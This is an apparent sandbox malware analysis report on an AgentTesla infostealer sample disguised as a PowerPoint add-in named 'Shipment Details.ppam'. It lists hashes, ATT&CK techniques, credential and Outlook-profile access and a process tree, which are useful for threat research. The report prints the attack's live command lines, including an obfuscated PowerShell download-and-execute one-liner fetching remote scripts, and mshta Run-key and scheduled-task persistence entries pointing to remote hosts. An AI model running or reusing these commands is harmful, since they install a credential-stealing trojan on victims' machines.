agenttesla | 4fcca1bce2dd80a24a9def40ab28cc5197e8dd477c2ef77c4d47a19b73fa8bf1

Analysis

max time kernel
123s
max time network
138s
platform
windows10_x64
resource
win10-en-20211014
submitted
18/10/2021, 08:40

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General

Target
Shipment Details.ppam
Size 11KB
Sample211018-kkyezadcd3
SHA256 4fcca1bce2dd80a24a9def40ab28cc5197e8dd477c2ef77c4d47a19b73fa8bf1
MD5 a00323d66feb6d05cb3cfc28ff8c79a9
SHA1 50cb3fa623e7a92553512d4b26f797ed23eab0e4
SHA512 1f2a0f55e62511f2e22c53d814e421f9eafc0d019496a2afd59bde15329a0fb0634bfee6117bd0649c745ceae2b288ea9f28b293dc57ea9a99064a7b06406aeb
MD5 SHA1 SHA512

Score

10^/10

agenttesla collection keylogger persistence spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3080	1828	mshta.exe	68

AgentTesla Payload 3 IoCs

resource	yara_rule
behavioral2/memory/1668-324-0x000000000043755E-mapping.dmp	family_agenttesla
behavioral2/memory/712-391-0x000000000043755E-mapping.dmp	family_agenttesla
behavioral2/memory/712-397-0x0000000004E90000-0x000000000538E000-memory.dmp	family_agenttesla

Blocklisted process makes network request 14 IoCs

flow	pid	Process
33	3080	mshta.exe
35	3080	mshta.exe
37	3080	mshta.exe
39	3080	mshta.exe
41	3080	mshta.exe
43	3080	mshta.exe
45	3080	mshta.exe
48	3080	mshta.exe
50	3080	mshta.exe
51	3080	mshta.exe
52	3080	mshta.exe
53	3080	mshta.exe
55	3080	mshta.exe
57	760	powershell.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	jsc.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	RegAsm.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Cleanreasdasdddsults = "\"MsHta\"\"http://1230948%[email protected]/p/13.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\takeCare = "pOweRshell.exe -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_8f22087a2c0740eba07c3aea05e107e7.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_959babd593ed4cd49dd3b6a0f1146d59.txt').GetResponse().GetResponseStream()).ReadToend());"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\SAFEsounkkkd = "\"MsHta\"\"http://1230948%[email protected]/p/13.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Milalaasdasdlalal = "\"MsHta\"\"http://1230948%[email protected]/p/13.html\""	mshta.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 760 set thread context of 1668	760	powershell.exe	84
PID 760 set thread context of 712	760	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mshta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mshta.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2460	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
2852	taskkill.exe
3844	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1828	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
760	powershell.exe
760	powershell.exe
608	dw20.exe
608	dw20.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
1668	jsc.exe
1668	jsc.exe
712	RegAsm.exe
712	RegAsm.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
712	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3844	taskkill.exe
Token: SeDebugPrivilege	2852	taskkill.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	1668	jsc.exe
Token: SeDebugPrivilege	712	RegAsm.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1828	POWERPNT.EXE
3080	mshta.exe
1668	jsc.exe
712	RegAsm.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1828 wrote to memory of 3080	1828	POWERPNT.EXE	72
PID 1828 wrote to memory of 3080	1828	POWERPNT.EXE	72
PID 3080 wrote to memory of 3844	3080	mshta.exe	73
PID 3080 wrote to memory of 3844	3080	mshta.exe	73
PID 3080 wrote to memory of 2852	3080	mshta.exe	75
PID 3080 wrote to memory of 2852	3080	mshta.exe	75
PID 3080 wrote to memory of 2460	3080	mshta.exe	77
PID 3080 wrote to memory of 2460	3080	mshta.exe	77
PID 3080 wrote to memory of 760	3080	mshta.exe	78
PID 3080 wrote to memory of 760	3080	mshta.exe	78
PID 3080 wrote to memory of 608	3080	mshta.exe	81
PID 3080 wrote to memory of 608	3080	mshta.exe	81
PID 760 wrote to memory of 1640	760	powershell.exe	82
PID 760 wrote to memory of 1640	760	powershell.exe	82
PID 760 wrote to memory of 1640	760	powershell.exe	82
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 1668	760	powershell.exe	84
PID 760 wrote to memory of 2164	760	powershell.exe	85
PID 760 wrote to memory of 2164	760	powershell.exe	85
PID 2164 wrote to memory of 3988	2164	csc.exe	86
PID 2164 wrote to memory of 3988	2164	csc.exe	86
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87
PID 760 wrote to memory of 712	760	powershell.exe	87

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Shipment Details.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1828
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Checks processor information in registry
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im winword.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3844
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/13.html\""
    3⤵
    - Creates scheduled task(s)
    PID:2460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_8f22087a2c0740eba07c3aea05e107e7.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_959babd593ed4cd49dd3b6a0f1146d59.txt').GetResponse().GetResponseStream()).ReadToend());
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      PID:1640
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      Drops file in Drivers directory
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      outlook_office_path
      outlook_win_path
      PID:1668
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z2nbzujc\z2nbzujc.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2164
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES11A0.tmp" "c:\Users\Admin\AppData\Local\Temp\z2nbzujc\CSCC1A76E532DE4452D87A468816A15C539.TMP"
        5⤵
        
        PID:3988
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Drops file in Drivers directory
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: SetClipboardViewer
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:712
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
    dw20.exe -x -s 2768
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

memory/712-397-0x0000000004E90000-0x000000000538E000-memory.dmp

Download

memory/712-408-0x0000000004E90000-0x000000000538E000-memory.dmp

Download

memory/760-310-0x0000025F61673000-0x0000025F61675000-memory.dmp

Download

memory/760-319-0x0000025F61676000-0x0000025F61678000-memory.dmp

Download

memory/760-309-0x0000025F61670000-0x0000025F61672000-memory.dmp

Download

memory/1668-407-0x0000000005881000-0x0000000005882000-memory.dmp

Download

memory/1668-381-0x0000000005880000-0x0000000005881000-memory.dmp

Download

memory/1828-128-0x00007FFBF8EA0000-0x00007FFBF8EB0000-memory.dmp

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memory/1828-121-0x00007FFBFB9F0000-0x00007FFBFBA00000-memory.dmp

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memory/1828-116-0x00007FFBFB9F0000-0x00007FFBFBA00000-memory.dmp

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memory/1828-117-0x00007FFBFB9F0000-0x00007FFBFBA00000-memory.dmp

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memory/1828-118-0x00007FFBFB9F0000-0x00007FFBFBA00000-memory.dmp

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memory/1828-119-0x00000247240B0000-0x00000247240B2000-memory.dmp

Download

memory/1828-129-0x00007FFBF8EA0000-0x00007FFBF8EB0000-memory.dmp

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memory/1828-120-0x00000247240B0000-0x00000247240B2000-memory.dmp

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memory/1828-115-0x00007FFBFB9F0000-0x00007FFBFBA00000-memory.dmp

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memory/1828-122-0x00000247240B0000-0x00000247240B2000-memory.dmp

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